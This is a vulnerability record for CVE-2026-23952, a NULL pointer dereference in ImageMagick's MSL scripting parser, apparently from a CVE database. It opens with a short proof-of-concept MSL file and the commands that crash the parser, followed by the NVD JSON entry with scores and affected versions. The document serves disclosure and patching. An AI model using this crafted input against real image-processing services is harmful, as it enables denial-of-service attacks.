CVE-2026-23952

<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png"/> <!-- Comment tag triggers NULL pointer dereference before image is fully loaded --> <comment>malicious payload</comment> <write filename="output.png"/> </image> # Alternative PoC using script syntax: # Create a .msl file with the following content: # <?xml version="1.0" encoding="UTF-8"?> # <image> # <script> # <!-- This triggers the vulnerability --> # </script> # <read filename="input.png"/> # </image> # Usage: # convert poc.msl output.png # or # magick -script poc.msl output.png

{"cve": {"id": "CVE-2026-23952", "sourceIdentifier": "[email protected]", "published": "2026-01-22T01:15:52.790", "lastModified": "2026-02-27T15:35:07.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Versions 14.10.1 and below have a NULL pointer dereference vulnerability in the MSL (Magick Scripting Language) parser when processing <comment> tags before images are loaded. This can lead to DoS attack due to assertion failure (debug builds) or NULL pointer dereference (release builds). This issue is fixed in version 14.10.2."}, {"lang": "es", "value": "ImageMagick es un software libre y de código abierto utilizado para editar y manipular imágenes digitales. Las versiones 14.10.1 e inferiores tienen una vulnerabilidad de desreferencia de puntero NULL en el analizador MSL (Magick Scripting Language) al procesar etiquetas antes de que se carguen las imágenes. Esto puede conducir a un ataque DoS debido a un fallo de aserción (en compilaciones de depuración) o a una desreferencia de puntero NULL (en compilaciones de lanzamiento). Este problema se ha solucionado en la versión 14.10.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.13-38", "matchCriteriaId": "B5479E5D-F05A-4418-9D2B-12523B300E2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0-0", "versionEndExcluding": "7.1.2-13", "matchCriteriaId": "F658C5B2-8A54-42DB-88AB-FB7D5FE1712C"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dlemstra:magick.net:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.10.2", "matchCriteriaId": "016CE8C8-345A-46C9-8E07-6B8E94D3D2FF"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}]}}